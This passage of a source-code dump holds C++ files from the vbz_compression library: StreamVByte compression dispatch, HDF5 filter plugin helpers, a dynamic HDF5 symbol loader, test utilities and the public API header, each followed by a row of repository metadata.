return StreamVByteWorkerV0<std::int8_t, false>::decompress(input_span, output_span);
}
}
case 2: {
if (use_delta_zig_zag_encoding) {
return StreamVByteWorkerV0<std::int16_t, true>::decompress(input_span, output_span);
}
else {
return StreamVByteWorkerV0<std::int16_t, false>::decompress(input_span, output_span);
}
}
case 4: {
if (use_delta_zig_zag_encoding) {
return StreamVByteWorkerV0<std::int32_t, true>::decompress(input_span, output_span);
}
else {
return StreamVByteWorkerV0<std::int32_t, false>::decompress(input_span, output_span);
}
}
default:
return VBZ_STREAMVBYTE_INTEGER_SIZE_ERROR;
}
}
| 3,656
|
C++
|
.cpp
| 101
| 27.405941
| 101
| 0.602825
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,156
|
vbz_streamvbyte.cpp
|
nanoporetech_vbz_compression/vbz/v1/vbz_streamvbyte.cpp
|
#include "vbz_streamvbyte.h"
#include "vbz_streamvbyte_impl.h"
#include "../v0/vbz_streamvbyte_impl.h" // for 4 byte case
#include "vbz.h"
#include <gsl/gsl-lite.hpp>
vbz_size_t vbz_max_streamvbyte_compressed_size_v1(
std::size_t integer_size,
vbz_size_t source_size)
{
if (source_size % integer_size != 0)
{
return VBZ_STREAMVBYTE_INPUT_SIZE_ERROR;
}
auto int_count = source_size / integer_size;
return vbz_size_t(streamvbyte_max_compressedbytes(std::uint32_t(int_count)));
}
vbz_size_t vbz_delta_zig_zag_streamvbyte_compress_v1(
void const* source,
vbz_size_t source_size,
void* destination,
vbz_size_t destination_capacity,
int integer_size,
bool use_delta_zig_zag_encoding)
{
if (source_size % integer_size != 0)
{
return VBZ_STREAMVBYTE_INPUT_SIZE_ERROR;
}
auto const input_span = gsl::make_span(static_cast<char const*>(source), source_size);
auto const output_span = gsl::make_span(static_cast<char*>(destination), destination_capacity);
switch(integer_size) {
case 1: {
if (use_delta_zig_zag_encoding) {
return StreamVByteWorkerV1<std::int8_t, true>::compress(input_span, output_span);
}
else {
return StreamVByteWorkerV1<std::int8_t, false>::compress(input_span, output_span);
}
}
case 2: {
if (use_delta_zig_zag_encoding) {
return StreamVByteWorkerV0<std::int16_t, true>::compress(input_span, output_span);
}
else {
return StreamVByteWorkerV0<std::int16_t, false>::compress(input_span, output_span);
}
}
case 4: {
if (use_delta_zig_zag_encoding) {
return StreamVByteWorkerV0<std::int32_t, true>::compress(input_span, output_span);
}
else {
return StreamVByteWorkerV0<std::int32_t, false>::compress(input_span, output_span);
}
}
default:
return VBZ_STREAMVBYTE_INTEGER_SIZE_ERROR;
}
}
vbz_size_t vbz_delta_zig_zag_streamvbyte_decompress_v1(
void const* source,
vbz_size_t source_size,
void* destination,
vbz_size_t destination_size,
int integer_size,
bool use_delta_zig_zag_encoding)
{
if (destination_size % integer_size != 0)
{
return VBZ_STREAMVBYTE_DESTINATION_SIZE_ERROR;
}
auto const input_span = gsl::make_span(static_cast<char const*>(source), source_size);
auto const output_span = gsl::make_span(static_cast<char*>(destination), destination_size);
switch(integer_size) {
case 1: {
if (use_delta_zig_zag_encoding) {
return StreamVByteWorkerV1<std::int8_t, true>::decompress(input_span, output_span);
}
else {
return StreamVByteWorkerV1<std::int8_t, false>::decompress(input_span, output_span);
}
}
// Integers larger than 1 byte have been shown to perform better (with zstd) when using version 0 compression
// likely the increased noise in the key section reduces compression efficiency negating the benefits of
// compressing 1 byte values into halfs.
case 2: {
if (use_delta_zig_zag_encoding) {
return StreamVByteWorkerV0<std::int16_t, true>::decompress(input_span, output_span);
}
else {
return StreamVByteWorkerV0<std::int16_t, false>::decompress(input_span, output_span);
}
}
case 4: {
if (use_delta_zig_zag_encoding) {
return StreamVByteWorkerV0<std::int32_t, true>::decompress(input_span, output_span);
}
else {
return StreamVByteWorkerV0<std::int32_t, false>::decompress(input_span, output_span);
}
}
default:
return VBZ_STREAMVBYTE_INTEGER_SIZE_ERROR;
}
}
| 3,995
|
C++
|
.cpp
| 105
| 29.32381
| 117
| 0.613935
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,157
|
vbz_plugin_user_utils.h
|
nanoporetech_vbz_compression/vbz_plugin/vbz_plugin_user_utils.h
|
#pragma once
#include <hdf5.h>
#include "vbz_plugin.h"
#define FILTER_VBZ_VERSION 1
extern "C" const void* vbz_plugin_info(void);
/// \brief Call to enable the vbz filter on the specified creation properties.
/// \param integer_size Size of integer type to be compressed. Leave at 0 to extract this information from the hdf type.
/// \param use_zig_zag Control if zig zag encoding should be used on the type. If integer_size is not specified then the
/// hdf type's signedness is used to fill in this field.
/// \param zstd_compression_level Control the level of compression used to filter the dataset.
/// \param vbz_version The version of compression to apply to user data.
inline int vbz_filter_enable_versioned(
hid_t creation_properties,
unsigned int integer_size,
bool use_zig_zag,
unsigned int zstd_compression_level,
int vbz_version)
{
unsigned int values[4] = {
(unsigned int)vbz_version,
integer_size,
use_zig_zag,
zstd_compression_level
};
return H5Pset_filter(creation_properties, FILTER_VBZ_ID, 0, 4, values);
}
/// \brief Call to enable the vbz filter on the specified creation properties.
/// \param integer_size Size of integer type to be compressed. Leave at 0 to extract this information from the hdf type.
/// \param use_zig_zag Control if zig zag encoding should be used on the type. If integer_size is not specified then the
/// hdf type's signedness is used to fill in this field.
/// \param zstd_compression_level Control the level of compression used to filter the dataset.
inline int vbz_filter_enable(
hid_t creation_properties,
unsigned int integer_size,
bool use_zig_zag,
unsigned int zstd_compression_level)
{
return vbz_filter_enable_versioned(
creation_properties,
integer_size,
use_zig_zag,
zstd_compression_level,
FILTER_VBZ_VERSION
);
}
inline bool vbz_register()
{
int retval = H5Zregister(vbz_plugin_info());
if (retval < 0)
{
return 0;
}
return 1;
}
| 2,182
|
C++
|
.h
| 54
| 36.37037
| 133
| 0.676887
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,158
|
vbz_plugin.h
|
nanoporetech_vbz_compression/vbz_plugin/vbz_plugin.h
|
#pragma once
/// Filter ID
/// \todo Register with hdf group
#define FILTER_VBZ_ID 32020
#define FILTER_VBZ_VERSION_OPTION 0
#define FILTER_VBZ_INTEGER_SIZE_OPTION 1
#define FILTER_VBZ_USE_DELTA_ZIG_ZAG_COMPRESSION 2
#define FILTER_VBZ_ZSTD_COMPRESSION_LEVEL_OPTION 3
| 307
|
C++
|
.h
| 8
| 37.125
| 53
| 0.703704
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,159
|
hdf5_dynamic.h
|
nanoporetech_vbz_compression/vbz_plugin/hdf5_dynamic.h
|
#pragma once
#include <dlfcn.h>
#include <iostream>
typedef int herr_t;
typedef int H5Z_filter_t;
typedef int htri_t;
#ifdef HDF5_1_10_BUILD
typedef int64_t hid_t;
#else
typedef int32_t hid_t;
#endif
#define H5E_DEFAULT (hid_t)0
#define H5E_CANTREGISTER (*hdf5_dynamic::H5E_CANTREGISTER_g)
#define H5Z_FLAG_REVERSE 0x0100 /*reverse direction; read */
#define H5Z_CLASS_T_VERS (1)
#define H5E_ERR_CLS (*hdf5_dynamic::H5E_ERR_CLS_g)
#define H5E_CALLBACK (*hdf5_dynamic::H5E_CALLBACK_g)
#define H5E_PLINE (*hdf5_dynamic::H5E_PLINE_g)
#define H5T_NATIVE_UCHAR (*hdf5_dynamic::H5T_NATIVE_UCHAR_g)
#define H5T_NATIVE_UINT8 (*hdf5_dynamic::H5T_NATIVE_UINT8_g)
#define H5T_NATIVE_USHORT (*hdf5_dynamic::H5T_NATIVE_USHORT_g)
#define H5T_NATIVE_UINT16 (*hdf5_dynamic::H5T_NATIVE_UINT16_g)
#define H5T_NATIVE_UINT (*hdf5_dynamic::H5T_NATIVE_UINT_g)
#define H5T_NATIVE_UINT32 (*hdf5_dynamic::H5T_NATIVE_UINT32_g)
namespace hdf5_dynamic
{
void* lookup_symbol(char const* name)
{
auto lib_handle = RTLD_DEFAULT;
if (auto lib_name = getenv("HDF5_LIB_PATH"))
{
std::cout << "Lookup symbols in specific lib " << lib_name << std::endl;
lib_handle = dlopen(lib_name, RTLD_LAZY|RTLD_GLOBAL);
if (!lib_handle)
{
std::cerr << dlerror() << std::endl;
std::abort();
}
}
auto sym = dlsym(lib_handle, name);
std::cout << "Lookup symbol " << name << ": " << sym << std::endl;
if (!sym)
{
std::cerr << dlerror() << std::endl;
std::abort();
}
}
template<typename Signature> class FunctionLookup;
template<typename Ret, typename... Args>
class FunctionLookup<Ret(Args...)>
{
public:
using FunctionPtrType = Ret(*)(Args...);
static FunctionPtrType lookup(char const* name)
{
return (FunctionPtrType)lookup_symbol(name);
}
};
template <typename T>
class GlobalLookup
{
public:
static T* lookup(char const* name)
{
return (T*)lookup_symbol(name);
}
};
typedef htri_t (*H5Z_can_apply_func_t)(hid_t dcpl_id, hid_t type_id, hid_t space_id);
typedef herr_t (*H5Z_set_local_func_t)(hid_t dcpl_id, hid_t type_id, hid_t space_id);
typedef size_t (*H5Z_func_t)(unsigned int flags, size_t cd_nelmts,
const unsigned int cd_values[], size_t nbytes,
size_t *buf_size, void **buf);
typedef struct H5Z_class_t {
int version; /* Version number of the H5Z_class_t struct */
H5Z_filter_t id; /* Filter ID number */
unsigned encoder_present; /* Does this filter have an encoder? */
unsigned decoder_present; /* Does this filter have a decoder? */
const char *name; /* Comment for debugging */
H5Z_can_apply_func_t can_apply; /* The "can apply" callback for a filter */
H5Z_set_local_func_t set_local; /* The "set local" callback for a filter */
H5Z_func_t filter; /* The actual filter function */
} H5Z_class_t;
typedef enum H5PL_type_t {
H5PL_TYPE_ERROR = -1, /* Error */
H5PL_TYPE_FILTER = 0, /* Filter */
H5PL_TYPE_NONE = 1 /* This must be last! */
} H5PL_type_t;
namespace function_defs
{
herr_t H5check_version(unsigned majnum, unsigned minnum, unsigned relnum);
herr_t H5Pget_filter_by_id2(hid_t plist_id, H5Z_filter_t id,
unsigned int *flags/*out*/, size_t *cd_nelmts/*out*/,
unsigned cd_values[]/*out*/, size_t namelen, char name[]/*out*/,
unsigned *filter_config/*out*/);
herr_t H5Pmodify_filter(hid_t plist_id, H5Z_filter_t filter,
unsigned int flags, size_t cd_nelmts,
const unsigned int cd_values[/*cd_nelmts*/]);
herr_t H5Zregister(const void *cls);
size_t H5Tget_size(hid_t type_id);
size_t H5Tget_size(hid_t type_id);
herr_t H5Epush2(hid_t err_stack, const char *file, const char *func, unsigned line,
hid_t cls_id, hid_t maj_id, hid_t min_id, const char *msg, ...);
}
static auto H5check_version = FunctionLookup<decltype(function_defs::H5check_version)>::lookup("H5check_version");
static auto H5Pget_filter_by_id2 = FunctionLookup<decltype(function_defs::H5Pget_filter_by_id2)>::lookup("H5Pget_filter_by_id2");
static auto H5Pmodify_filter = FunctionLookup<decltype(function_defs::H5Pmodify_filter)>::lookup("H5Pmodify_filter");
static auto H5Zregister = FunctionLookup<decltype(function_defs::H5Zregister)>::lookup("H5Zregister");
static auto H5Tget_size = FunctionLookup<decltype(function_defs::H5Tget_size)>::lookup("H5Tget_size");
// Uses c varargs so a bit trickier to templatise
using H5Epush2Type = decltype(function_defs::H5Epush2);
static auto H5Epush2 = (H5Epush2Type*)lookup_symbol("H5Epush2");
hid_t* H5E_ERR_CLS_g = GlobalLookup<hid_t>::lookup("H5E_ERR_CLS_g");
hid_t* H5E_CANTREGISTER_g = GlobalLookup<hid_t>::lookup("H5E_CANTREGISTER_g");
hid_t* H5E_CALLBACK_g = GlobalLookup<hid_t>::lookup("H5E_CALLBACK_g");
hid_t* H5E_PLINE_g = GlobalLookup<hid_t>::lookup("H5E_PLINE_g");
hid_t* H5T_NATIVE_UCHAR_g = GlobalLookup<hid_t>::lookup("H5T_NATIVE_UCHAR_g");
hid_t* H5T_NATIVE_UINT8_g = GlobalLookup<hid_t>::lookup("H5T_NATIVE_UINT8_g");
hid_t* H5T_NATIVE_USHORT_g = GlobalLookup<hid_t>::lookup("H5T_NATIVE_USHORT_g");
hid_t* H5T_NATIVE_UINT16_g = GlobalLookup<hid_t>::lookup("H5T_NATIVE_UINT16_g");
hid_t* H5T_NATIVE_UINT_g = GlobalLookup<hid_t>::lookup("H5T_NATIVE_UINT_g");
hid_t* H5T_NATIVE_UINT32_g = GlobalLookup<hid_t>::lookup("H5T_NATIVE_UINT32_g");
}
| 5,618
|
C++
|
.h
| 122
| 42.778689
| 129
| 0.661974
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,160
|
test_utils.h
|
nanoporetech_vbz_compression/vbz_plugin/test/test_utils.h
|
#pragma once
#include "hdf_id_helper.h"
#include <vector>
using namespace ont::hdf5;
template <typename T>
std::vector<T> read_1d_dataset(
hid_t parent,
char const* name,
hid_t expected_type
)
{
if (H5Lexists(parent, name, H5P_DEFAULT) < 0)
{
return {};
}
auto dataset = IdRef::claim(H5Dopen(parent, name, H5P_DEFAULT));
auto type = IdRef::claim(H5Dget_type(dataset.get()));
auto dataspace = IdRef::claim(H5Dget_space(dataset.get()));
if (H5Tequal(type.get(), expected_type) < 0)
{
return {};
}
const int ndims = H5Sget_simple_extent_ndims(dataspace.get());
if (ndims != 1)
{
throw std::runtime_error("dataset isn't 1d");
}
hsize_t dims[1];
H5Sget_simple_extent_dims(dataspace.get(), dims, NULL);
std::vector<T> values(dims[0]);
auto buffer_space = IdRef::claim(
H5Screate_simple(1, dims, dims));
if (H5Dread(
dataset.get(),
expected_type,
buffer_space.get(),
H5S_ALL,
H5P_DEFAULT,
values.data()) < 0)
{
return {};
}
return values;
}
IdRef create_dataset(
hid_t parent,
char const* name,
hid_t type,
std::size_t size,
hid_t dataset_creation_properties)
{
auto data_space = IdRef::claim(H5Screate(H5S_SIMPLE));
hsize_t size_arr[] = { size };
hsize_t max_size_arr[] = { size };
if (H5Sset_extent_simple(
data_space.get(),
1,
size_arr,
max_size_arr) < 0)
{
return IdRef();
}
auto dataset_id = IdRef::claim(H5Dcreate(
parent,
name,
type,
data_space.get(),
H5P_DEFAULT,
dataset_creation_properties,
H5P_DEFAULT
)
);
return dataset_id;
}
template <typename T>
bool write_full_dataset(
hid_t dataset,
hid_t type,
T const& data
)
{
if (H5Dwrite(
dataset,
type,
H5S_ALL,
H5S_ALL,
H5P_DEFAULT,
data.data()
) < 0)
{
return false;
}
return true;
}
| 2,099
|
C++
|
.h
| 94
| 16.404255
| 68
| 0.572365
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,161
|
hdf_id_helper.h
|
nanoporetech_vbz_compression/vbz_plugin/hdf_test_utils/hdf_id_helper.h
|
#pragma once
#include <cassert>
#include <cstdint>
#include <stdexcept>
#include <utility>
#include <hdf5.h>
namespace ont { namespace hdf5 {
/// Thrown when something goes wrong internally in HDF5.
class Exception : public std::runtime_error
{
public:
Exception()
: std::runtime_error("HDF5 exception")
{
}
};
/// An HDF5 identifier.
///
/// IdRef should be used by anything that wants to keep a reference to a HDF5
/// object.
using Id = hid_t;
/// Maintains a reference to an HDF5 identifier.
///
/// When you first create the identifier, use IdRef::claim() to grab it and make
/// sure it will be closed.
class IdRef final
{
public:
/// Create an IdRef that takes ownership of an existing reference.
///
/// This is intended for use when you receive an ID from the HDF5 library.
///
/// The reference counter will be decremented on destruction, but will not
/// be incremented.
static IdRef claim(Id id);
/// Create an IdRef that takes a new reference to the ID.
///
/// The reference counter will be incremented on creation, and decremented
/// on destruction.
static IdRef ref(Id id);
/// Create an IdRef that refers to a global ID.
///
/// No reference counting will be done.
static IdRef global(Id id)
{
return IdRef(id, true);
}
/// Create an IdRef that refers to a global ID. This call
/// takes a non-global id and makes it global.
///
/// No reference counting will be done.
static IdRef global_ref(Id id);
/// Create an invalid IdRef.
///
/// The only use for the resulting object is to copy or move into it.
IdRef() = default;
IdRef(IdRef const& other);
IdRef& operator=(IdRef const&);
IdRef(IdRef && other)
: m_id(other.m_id)
, m_is_global_constant(other.m_is_global_constant)
{
other.m_id = -1;
other.m_is_global_constant = false;
}
IdRef& operator=(IdRef && other)
{
std::swap(m_id, other.m_id);
std::swap(m_is_global_constant, other.m_is_global_constant);
return *this;
}
~IdRef();
void swap(IdRef & other) {
std::swap(m_id, other.m_id);
std::swap(m_is_global_constant, other.m_is_global_constant);
}
/// Take ownership of the ID.
///
/// This object will no longer hold a reference to the ID. It is up to the
/// called to deref the ID.
Id release() {
Id id = m_id;
m_id = -1;
m_is_global_constant = false;
return id;
}
/// Get the ID.
///
/// The reference count will not be changed. This is mostly for passing into
/// HDF5 function calls.
Id get() const
{
assert(m_id >= 0);
return m_id;
}
/// Get the reference count of the ID.
int ref_count() const;
/// Check whether this IdRef contains an ID.
///
/// Note that it does not check whether HDF5 thinks the ID is valid.
explicit operator bool() const { return m_id >= 0; }
private:
// use claim() or ref()
explicit IdRef(Id id) : m_id(id), m_is_global_constant(false) {}
explicit IdRef(Id id, bool is_global)
: m_id(id)
, m_is_global_constant(is_global)
{}
Id m_id = -1;
bool m_is_global_constant = false;
};
}}
| 3,320
|
C++
|
.h
| 112
| 24.75
| 80
| 0.627039
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,164
|
hdf5_plugin_types.h
|
nanoporetech_vbz_compression/third_party/hdf5/hdf5_plugin_types.h
|
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Copyright by The HDF Group. *
* All rights reserved. *
* *
* This file is part of HDF5. The full HDF5 copyright notice, including *
* terms governing use, modification, and redistribution, is contained in *
* the COPYING file, which can be found at the root of the source code *
* distribution tree, or in https://support.hdfgroup.org/ftp/HDF5/releases. *
* If you do not have access to either file, you may request a copy from *
* help@hdfgroup.org. *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*
* Purpose: Header file for writing external HDF5 plugins.
*/
#ifndef _H5PLextern_H
#define _H5PLextern_H
#ifdef __cplusplus
extern "C" {
#endif
typedef enum H5PL_type_t {
H5PL_TYPE_ERROR = -1, /* Error */
H5PL_TYPE_FILTER = 0, /* Filter */
H5PL_TYPE_NONE = 1 /* This must be last! */
} H5PL_type_t;
#define H5Z_CLASS_T_VERS (1)
#define H5Z_FLAG_REVERSE 0x0100 /*reverse direction; read */
/*
* Filter identifiers. Values 0 through 255 are for filters defined by the
* HDF5 library. Values 256 through 511 are available for testing new
* filters. Subsequent values should be obtained from the HDF5 development
* team at hdf5dev@ncsa.uiuc.edu. These values will never change because they
* appear in the HDF5 files.
*/
typedef int H5Z_filter_t;
/*
* A filter gets definition flags and invocation flags (defined above), the
* client data array and size defined when the filter was added to the
* pipeline, the size in bytes of the data on which to operate, and pointers
* to a buffer and its allocated size.
*
* The filter should store the result in the supplied buffer if possible,
* otherwise it can allocate a new buffer, freeing the original. The
* allocated size of the new buffer should be returned through the BUF_SIZE
* pointer and the new buffer through the BUF pointer.
*
* The return value from the filter is the number of bytes in the output
* buffer. If an error occurs then the function should return zero and leave
* all pointer arguments unchanged.
*/
typedef size_t (*H5Z_func_t)(unsigned int flags, size_t cd_nelmts,
const unsigned int cd_values[], size_t nbytes,
size_t *buf_size, void **buf);
/*
* The filter table maps filter identification numbers to structs that
* contain a pointers to the filter function and timing statistics.
*/
typedef struct H5Z_class2_t {
int version; /* Version number of the H5Z_class_t struct */
H5Z_filter_t id; /* Filter ID number */
unsigned encoder_present; /* Does this filter have an encoder? */
unsigned decoder_present; /* Does this filter have a decoder? */
const char *name; /* Comment for debugging */
void* can_apply; /* The "can apply" callback for a filter */
void* set_local; /* The "set local" callback for a filter */
H5Z_func_t filter; /* The actual filter function */
} H5Z_class2_t;
#ifdef __cplusplus
}
#endif
#endif /* _H5PLextern_H */
| 3,562
|
C++
|
.h
| 70
| 48.357143
| 86
| 0.584483
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,168
|
vbz.h
|
nanoporetech_vbz_compression/vbz/vbz.h
|
#pragma once
#include "vbz/vbz_export.h"
#include <stdint.h>
#if defined(__cplusplus)
extern "C" {
#endif
#define VBZ_DEFAULT_VERSION 0
typedef uint32_t vbz_size_t;
#define VBZ_ZSTD_ERROR ((vbz_size_t)-1)
#define VBZ_STREAMVBYTE_INPUT_SIZE_ERROR ((vbz_size_t)-2)
#define VBZ_STREAMVBYTE_INTEGER_SIZE_ERROR ((vbz_size_t)-3)
#define VBZ_STREAMVBYTE_DESTINATION_SIZE_ERROR ((vbz_size_t)-4)
#define VBZ_STREAMVBYTE_STREAM_ERROR ((vbz_size_t)-5)
#define VBZ_VERSION_ERROR ((vbz_size_t)-6)
#define VBZ_FIRST_ERROR VBZ_VERSION_ERROR
struct CompressionOptions
{
// Flag to indicate the data should be converted to delta
// then have zig zag encoding applied.
// This causes similar signed numbers close to zero to end
// up close to zero in unsigned space, and compresses better
// when performing variable integer compression.
bool perform_delta_zig_zag;
// Used to select the variable integer compression technique
// Should be one of 1, 2 or 4.
// Using a level of 1 will cause no variable integer encoding
// to be performed.
unsigned int integer_size;
// zstd compression to apply.
// Should be in the range "ZSTD_minCLevel" to "ZSTD_maxCLevel".
// 1 gives the best performance and still provides a sensible compression
// higher numbers use more CPU time for higher compression ratios.
// Passing 0 will cause zstd to not be applied to data.
unsigned int zstd_compression_level;
// version of vbz to apply.
// Should be initialised to 'VBZ_DEFAULT_VERSION' for the best, newest compression.
// of set to older values to decompress older streams.
unsigned int vbz_version;
};
/// \brief Find if a return value from a function is an error value.
VBZ_EXPORT bool vbz_is_error(vbz_size_t result_value);
/// \brief Find a string description for an error value
VBZ_EXPORT char const* vbz_error_string(vbz_size_t error_value);
/// \brief Find a theoretical max size for compressed output size.
/// should be used to find the size of the destination buffer to allocate.
/// \param source_size The size of the source buffer for compression in bytes.
/// \param options The options which will be used to compress data.
VBZ_EXPORT vbz_size_t vbz_max_compressed_size(
vbz_size_t source_size,
CompressionOptions const* options);
/// \brief Compress data into a provided output buffer
/// \param source Source data for compression.
/// \param source_size Source data size (in bytes)
/// \param destination Destination buffer for compressed output.
/// \param destination_capacity Size of the destination buffer to write to (see #max_compressed_size)
/// \param options Options controlling compression to apply.
/// \return The size of the compressed object in bytes, or an error code if something went wrong.
VBZ_EXPORT vbz_size_t vbz_compress(
void const* source,
vbz_size_t source_size,
void* destination,
vbz_size_t destination_capacity,
CompressionOptions const* options);
/// \brief Decompress data into a provided output buffer
/// \param source Source compressed data for decompression.
/// \param source_size Compressed Source data size (in bytes)
/// \param destination Destination buffer for decompressed output.
/// \param destination_size Size of the destination buffer to write to in bytes.
/// This must be a multiple of integer_size, and equal to the number of
/// expected output bytes exactly. The caller is expected to store this information alongside
/// the compressed data.
/// \param options Options controlling decompression to
/// apply (must be the same as the arguments passed to #vbz_compress).
/// \return The size of the decompressed object in bytes (will equal destination_size unless an error occurs).
VBZ_EXPORT vbz_size_t vbz_decompress(
void const* source,
vbz_size_t source_size,
void* destination,
vbz_size_t destination_size,
CompressionOptions const* options);
/// \brief Compress data into a provided output buffer, with the original size information stored.
/// \note Must decompress data with #vbz_decompress_sized.
/// \param source Source data for compression.
/// \param source_size Source data size (in bytes)
/// \param destination Destination buffer for compressed output.
/// \param destination_capacity Size of the destination buffer to write to (see #max_compressed_size)
/// \param options Options controlling compression to apply.
/// \return The size of the compressed object in bytes, or an error code if something went wrong.
VBZ_EXPORT vbz_size_t vbz_compress_sized(
void const* source,
vbz_size_t source_size,
void* destination,
vbz_size_t destination_capacity,
CompressionOptions const* options);
/// \brief Decompress data into a provided output buffer, using size information stored with the compressed data.
/// \note Must decompress data stored with #vbz_compress_sized.
/// \param source Source compressed data for decompression.
/// \param source_size Compressed Source data size (in bytes)
/// \param destination Destination buffer for decompressed output.
/// \param destination_capacity Capacity of the destination buffer, should be at least #vbz_max_decompressed_size bytes.
/// \param options Options controlling decompression to
/// apply (must be the same as the arguments passed to #vbz_compress_sized).
/// \return The size of the decompressed object in bytes, or an error code if something went wrong.
VBZ_EXPORT vbz_size_t vbz_decompress_sized(
void const* source,
vbz_size_t source_size,
void* destination,
vbz_size_t destination_capacity,
CompressionOptions const* options);
/// \brief Find the size for a decompressed block.
/// should be used to find the size of the destination buffer to allocate for decompression.
/// \param source Source compressed data for decompression.
/// \param source_size The size of the compressed source buffer in bytes.
/// \param options The options which will be used to decompress data.
VBZ_EXPORT vbz_size_t vbz_decompressed_size(
void const* source,
vbz_size_t source_size,
CompressionOptions const* options);
#if defined(__cplusplus)
}
#endif
| 6,527
|
C++
|
.h
| 121
| 51.272727
| 121
| 0.71404
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,169
|
test_data_generator.h
|
nanoporetech_vbz_compression/vbz/perf/test_data_generator.h
|
#pragma once
#include "../test/test_data.h"
#include <gsl/gsl-lite.hpp>
#include <numeric>
#include <random>
// Generator that targets a consistent number of bytes of increasing sequence.
template <typename T> struct SequenceGenerator
{
static const std::size_t byte_target = 1000 * 1000; // 1mb
static std::vector<std::vector<T>> generate(std::size_t& max_element_count)
{
std::vector<T> input_values(byte_target / sizeof(T));
max_element_count = input_values.size();
std::iota(input_values.begin(), input_values.end(), 0);
return { input_values };
}
};
// Generator that targets a random set of reads of random lengths.
//
// Under a maximum target byte count.
template <typename T>
struct SignalGenerator
{
static const std::size_t byte_target = 100 * 1000 * 1000; // 100 mb
static std::vector<std::vector<T>> generate(std::size_t& max_element_count)
{
auto const seed = 5;
static std::size_t max_element_count_static;
static auto const generated_reads = do_generation(seed, max_element_count_static);
max_element_count = max_element_count_static;
return generated_reads;
}
private:
static std::vector<std::vector<T>> do_generation(unsigned int seed, std::size_t& max_element_count)
{
std::random_device rd;
std::default_random_engine rand(seed);
std::uniform_int_distribution<std::uint32_t> length_dist(30000, 200000);
std::size_t generated_bytes = 0;
std::vector<std::vector<T>> results;
while (generated_bytes < byte_target)
{
auto length = std::min<std::size_t>((byte_target-generated_bytes)/sizeof(T), length_dist(rand));
generated_bytes += length * sizeof(T);
std::vector<T> input_values(length);
max_element_count = std::max(max_element_count, input_values.size());
std::size_t idx = 0;
for (auto& e : input_values)
{
auto input_data = test_data[idx];
e = (T)input_data;
idx = (idx + 1) % test_data.size();
}
results.push_back(input_values);
}
return results;
}
};
| 2,274
|
C++
|
.h
| 58
| 31.327586
| 108
| 0.624595
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,170
|
test_utils.h
|
nanoporetech_vbz_compression/vbz/test/test_utils.h
|
#pragma once
#include <gsl/gsl-lite.hpp>
#include <iostream>
namespace {
template <typename T, typename PrintType>
class ContainerDumper
{
public:
ContainerDumper(T const& t)
: m_data(t)
{
}
T const& m_data;
};
template <typename PrintType, typename Container>
std::ostream& operator<<(std::ostream &str, ContainerDumper<Container, PrintType> const& container)
{
str << "{ ";
for (auto const& e : container.m_data)
{
str << PrintType(e) << ", ";
}
str << "}";
return str;
}
template <typename PrintType, typename Container>
ContainerDumper<Container, PrintType> dump_explicit(Container const& c)
{
return ContainerDumper<Container, PrintType>{ c };
}
template <typename Container>
ContainerDumper<Container, typename Container::value_type> dump(Container const& c)
{
return ContainerDumper<Container, typename Container::value_type>{ c };
}
}
| 911
|
C++
|
.h
| 36
| 22.416667
| 99
| 0.716263
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,171
|
test_data.h
|
nanoporetech_vbz_compression/vbz/test/test_data.h
|
#include <cstdint>
#include <vector>
std::vector<std::int16_t> test_data{
